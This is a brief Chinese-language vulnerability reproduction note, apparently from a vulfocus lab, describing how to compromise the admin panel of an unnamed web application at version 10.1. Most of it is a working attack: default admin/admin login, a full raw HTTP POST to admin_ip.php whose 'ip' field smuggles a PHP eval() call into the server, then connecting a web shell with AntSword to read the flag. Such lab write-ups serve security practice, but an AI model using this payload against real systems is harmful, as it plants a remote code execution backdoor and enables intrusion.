0x01 漏洞环境

vulfocus

0x02 影响版本

10.1

0x03 漏洞复现

http://vulfocus.fofa.so:37257/

后台地址：

http://vulfocus.fofa.so:37257/manager/

admin/admin登录。

抓包，发送请求：

POST /manager/admin_ip.php?action=set HTTP/1.1
Host: vulfocus.fofa.so:8602
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin_username=admin; rememberMe=6810CcRMddjLXFC+tmwjli4lU6NaSbVQtiDpDkmCmiUnucw9WOY6euG23+is2R7n3jf1zYHevH41PEfdN+oGNT5bD+BfrWQvydI+WxUuhBmAEPh9TKh8kefJpg7HobX5Sj9ezgFkYs4QRuvV/KHk/enpnFDBmEWsBpLLubZeWc0GUpt8k4WtVO/fM64Wu7Oafbk+Z05iXcLR3F6u183kXEAfRxbj/Yht9A23UNtwSrfwDBV2EMyshIuSstRYJSyMk5YZ8JLzfeV8WN6yCCEiNYK99pX9KnaOK7VfM4AgAn4C16aU8UJ/fghIGegRquX5MNAmxcL84MyHWD8v70L+G1cGLSb5CNDd7HzP8cU2XHJ6EXEXadBnzv+/94GCn9njlONTKw9H9uVTMpPFfQ4zdvBseeKv98eaZUr64Zcq9IBgVVbmrQNq13SzJXpMRez/1LsrQkNPUDYZFxAiJVY5p6PJEMzKBd2aLc8v8tTTatj/2n9v5FhnPwwygOkZamPo; PHPSESSID=f44c8tldt2rbk3h6kfbs913945; thinkphp_show_page_trace=0|0; JSESSIONID=768affbf-476c-40ca-bea6-d8f912d16618
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

v=0&ip=+12131321313";eval($_POST[123]);//

访问http://vulfocus.fofa.so:8602/manager/admin_ip.php。

直接蚁剑连接。

查看flag。